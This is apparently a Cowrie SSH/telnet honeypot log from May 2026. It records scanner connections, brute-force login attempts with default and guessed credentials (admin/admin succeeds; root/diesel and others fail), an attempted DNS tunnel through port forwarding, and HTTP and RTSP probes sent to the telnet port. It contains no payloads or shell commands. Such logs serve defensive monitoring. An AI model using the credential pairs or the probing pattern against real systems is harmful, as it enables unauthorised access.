{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:42:08.536881Z","src_ip":"87.251.64.176","session":"8fc13f3fbb55","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:42:08.636923Z","session":"8fc13f3fbb55","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:42:08.734900Z","src_ip":"87.251.64.176","session":"8fc13f3fbb55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:42:08.834030Z","src_ip":"87.251.64.176","session":"8fc13f3fbb55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":33724,"dst_ip":"159.203.135.109","dst_port":22,"session":"98be411d53e8","protocol":"ssh","message":"New connection: 94.159.98.239:33724 (159.203.135.109:22) [session: 98be411d53e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:42:28.953934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:42:29.115720Z","src_ip":"94.159.98.239","session":"98be411d53e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:42:29.119066Z","src_ip":"94.159.98.239","session":"98be411d53e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"diesel","message":"login attempt [root/diesel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:42:30.348790Z","src_ip":"94.159.98.239","session":"98be411d53e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:42:31.651562Z","src_ip":"94.159.98.239","session":"98be411d53e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":36020,"dst_ip":"159.203.135.109","dst_port":23,"session":"1cc5928314ec","protocol":"telnet","message":"New connection: 34.62.84.93:36020 (159.203.135.109:23) [session: 1cc5928314ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:04.904533Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":36036,"dst_ip":"159.203.135.109","dst_port":23,"session":"e683fbcd8c99","protocol":"telnet","message":"New connection: 34.62.84.93:36036 (159.203.135.109:23) [session: e683fbcd8c99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:05.059933Z"}
{"eventid":"cowrie.session.closed","duration":0.005640506744384766,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:05.065442Z","src_ip":"34.62.84.93","session":"e683fbcd8c99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":36038,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2384f030a63","protocol":"telnet","message":"New connection: 34.62.84.93:36038 (159.203.135.109:23) [session: f2384f030a63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:05.216094Z"}
{"eventid":"cowrie.session.closed","duration":13.741565465927124,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:18.645969Z","src_ip":"34.62.84.93","session":"1cc5928314ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.109.207","src_port":50448,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c2404d56699","protocol":"ssh","message":"New connection: 94.159.109.207:50448 (159.203.135.109:22) [session: 3c2404d56699]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:22.263663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:22.269069Z","src_ip":"94.159.109.207","session":"3c2404d56699","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:22.389369Z","src_ip":"94.159.109.207","session":"3c2404d56699","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vbienrf","message":"login attempt [root/vbienrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:22.751930Z","src_ip":"94.159.109.207","session":"3c2404d56699","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:24.212252Z","src_ip":"94.159.109.207","session":"3c2404d56699","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":38444,"dst_ip":"159.203.135.109","dst_port":23,"session":"60827b54032f","protocol":"telnet","message":"New connection: 34.62.84.93:38444 (159.203.135.109:23) [session: 60827b54032f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:24.373525Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:24.378848Z","src_ip":"34.62.84.93","session":"60827b54032f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:24.382880Z","src_ip":"34.62.84.93","session":"60827b54032f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.08916616439819336,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:24.462632Z","src_ip":"34.62.84.93","session":"60827b54032f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":38450,"dst_ip":"159.203.135.109","dst_port":23,"session":"a477d1af3cca","protocol":"telnet","message":"New connection: 34.62.84.93:38450 (159.203.135.109:23) [session: a477d1af3cca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:24.537657Z"}
{"eventid":"cowrie.session.closed","duration":0.0055577754974365234,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:24.543065Z","src_ip":"34.62.84.93","session":"a477d1af3cca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":38466,"dst_ip":"159.203.135.109","dst_port":23,"session":"09659ec3ab98","protocol":"telnet","message":"New connection: 34.62.84.93:38466 (159.203.135.109:23) [session: 09659ec3ab98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:24.693105Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":53444,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbea97d14b44","protocol":"telnet","message":"New connection: 34.62.84.93:53444 (159.203.135.109:23) [session: fbea97d14b44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:24.849513Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":53452,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3851ff531bb","protocol":"telnet","message":"New connection: 34.62.84.93:53452 (159.203.135.109:23) [session: d3851ff531bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:25.011074Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":53464,"dst_ip":"159.203.135.109","dst_port":23,"session":"a902b7cee01a","protocol":"telnet","message":"New connection: 34.62.84.93:53464 (159.203.135.109:23) [session: a902b7cee01a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:25.172760Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":53466,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b2d0fac3a81","protocol":"telnet","message":"New connection: 34.62.84.93:53466 (159.203.135.109:23) [session: 6b2d0fac3a81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:25.330455Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":53468,"dst_ip":"159.203.135.109","dst_port":23,"session":"624d0d05d833","protocol":"telnet","message":"New connection: 34.62.84.93:53468 (159.203.135.109:23) [session: 624d0d05d833]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:25.486732Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":53484,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bda6e5f3585","protocol":"telnet","message":"New connection: 34.62.84.93:53484 (159.203.135.109:23) [session: 5bda6e5f3585]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:25.645284Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":53500,"dst_ip":"159.203.135.109","dst_port":23,"session":"0216c6b56d82","protocol":"telnet","message":"New connection: 34.62.84.93:53500 (159.203.135.109:23) [session: 0216c6b56d82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:25.802167Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":53516,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb28a02f9690","protocol":"telnet","message":"New connection: 34.62.84.93:53516 (159.203.135.109:23) [session: bb28a02f9690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:26.031936Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":53524,"dst_ip":"159.203.135.109","dst_port":23,"session":"f80ee3f66c50","protocol":"telnet","message":"New connection: 34.62.84.93:53524 (159.203.135.109:23) [session: f80ee3f66c50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:26.187452Z"}
{"eventid":"cowrie.session.closed","duration":0.006143331527709961,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:26.193131Z","src_ip":"34.62.84.93","session":"f80ee3f66c50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":53534,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec4a177f72b3","protocol":"telnet","message":"New connection: 34.62.84.93:53534 (159.203.135.109:23) [session: ec4a177f72b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:26.343610Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":53546,"dst_ip":"159.203.135.109","dst_port":23,"session":"e648621ffe36","protocol":"telnet","message":"New connection: 34.62.84.93:53546 (159.203.135.109:23) [session: e648621ffe36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:26.498563Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":53562,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5c98a0fe8a4","protocol":"telnet","message":"New connection: 34.62.84.93:53562 (159.203.135.109:23) [session: b5c98a0fe8a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:26.653756Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":53568,"dst_ip":"159.203.135.109","dst_port":23,"session":"25700a1a87b5","protocol":"telnet","message":"New connection: 34.62.84.93:53568 (159.203.135.109:23) [session: 25700a1a87b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:26.812698Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":53572,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c8ef91cdb2d","protocol":"telnet","message":"New connection: 34.62.84.93:53572 (159.203.135.109:23) [session: 7c8ef91cdb2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:26.968297Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":53582,"dst_ip":"159.203.135.109","dst_port":23,"session":"89aacd1ec8bb","protocol":"telnet","message":"New connection: 34.62.84.93:53582 (159.203.135.109:23) [session: 89aacd1ec8bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:27.124474Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":53598,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5505459bdc9","protocol":"telnet","message":"New connection: 34.62.84.93:53598 (159.203.135.109:23) [session: e5505459bdc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:27.280215Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":53600,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6de7b03d158","protocol":"telnet","message":"New connection: 34.62.84.93:53600 (159.203.135.109:23) [session: c6de7b03d158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:27.435665Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":53602,"dst_ip":"159.203.135.109","dst_port":23,"session":"74d77b1f8318","protocol":"telnet","message":"New connection: 34.62.84.93:53602 (159.203.135.109:23) [session: 74d77b1f8318]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:27.590550Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:27.595699Z","src_ip":"34.62.84.93","session":"74d77b1f8318","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":53614,"dst_ip":"159.203.135.109","dst_port":23,"session":"9206655776d0","protocol":"telnet","message":"New connection: 34.62.84.93:53614 (159.203.135.109:23) [session: 9206655776d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:27.752833Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":53618,"dst_ip":"159.203.135.109","dst_port":23,"session":"a92b12d2e50f","protocol":"telnet","message":"New connection: 34.62.84.93:53618 (159.203.135.109:23) [session: a92b12d2e50f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:27.907548Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":53632,"dst_ip":"159.203.135.109","dst_port":23,"session":"c10ac045919c","protocol":"telnet","message":"New connection: 34.62.84.93:53632 (159.203.135.109:23) [session: c10ac045919c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:28.063025Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":53642,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0e97ff232bf","protocol":"telnet","message":"New connection: 34.62.84.93:53642 (159.203.135.109:23) [session: e0e97ff232bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:28.219509Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":53648,"dst_ip":"159.203.135.109","dst_port":23,"session":"b471c87e4675","protocol":"telnet","message":"New connection: 34.62.84.93:53648 (159.203.135.109:23) [session: b471c87e4675]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:28.375119Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":53654,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6261b7fe68f","protocol":"telnet","message":"New connection: 34.62.84.93:53654 (159.203.135.109:23) [session: f6261b7fe68f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:28.530563Z"}
{"eventid":"cowrie.session.closed","duration":0.005457639694213867,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:28.535903Z","src_ip":"34.62.84.93","session":"f6261b7fe68f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":53668,"dst_ip":"159.203.135.109","dst_port":23,"session":"4535279ddc18","protocol":"telnet","message":"New connection: 34.62.84.93:53668 (159.203.135.109:23) [session: 4535279ddc18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:28.685961Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":53670,"dst_ip":"159.203.135.109","dst_port":23,"session":"61b08d4c922a","protocol":"telnet","message":"New connection: 34.62.84.93:53670 (159.203.135.109:23) [session: 61b08d4c922a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:28.840369Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 4267","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 4267] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:28.855362Z","src_ip":"34.62.84.93","session":"61b08d4c922a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":53680,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd69d10cb46e","protocol":"telnet","message":"New connection: 34.62.84.93:53680 (159.203.135.109:23) [session: cd69d10cb46e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:29.009089Z"}
{"eventid":"cowrie.session.closed","duration":0.00468754768371582,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:29.013655Z","src_ip":"34.62.84.93","session":"cd69d10cb46e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.816166877746582,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:32.656440Z","src_ip":"34.62.84.93","session":"61b08d4c922a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.9780263900756836,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:32.663838Z","src_ip":"34.62.84.93","session":"4535279ddc18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.293662071228027,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:32.668666Z","src_ip":"34.62.84.93","session":"b471c87e4675","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.45378851890564,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:32.672953Z","src_ip":"34.62.84.93","session":"e0e97ff232bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.613974094390869,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:32.676870Z","src_ip":"34.62.84.93","session":"c10ac045919c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.09098482131958,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:32.681436Z","src_ip":"34.62.84.93","session":"74d77b1f8318","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.778891563415527,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:32.686338Z","src_ip":"34.62.84.93","session":"a92b12d2e50f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.940499782562256,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:32.693228Z","src_ip":"34.62.84.93","session":"9206655776d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.26230788230896,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:32.697878Z","src_ip":"34.62.84.93","session":"c6de7b03d158","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.422591924667358,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:43:32.702681Z","src_ip":"34.62.84.93","session":"e5505459bdc9","protocol":"telnet"}
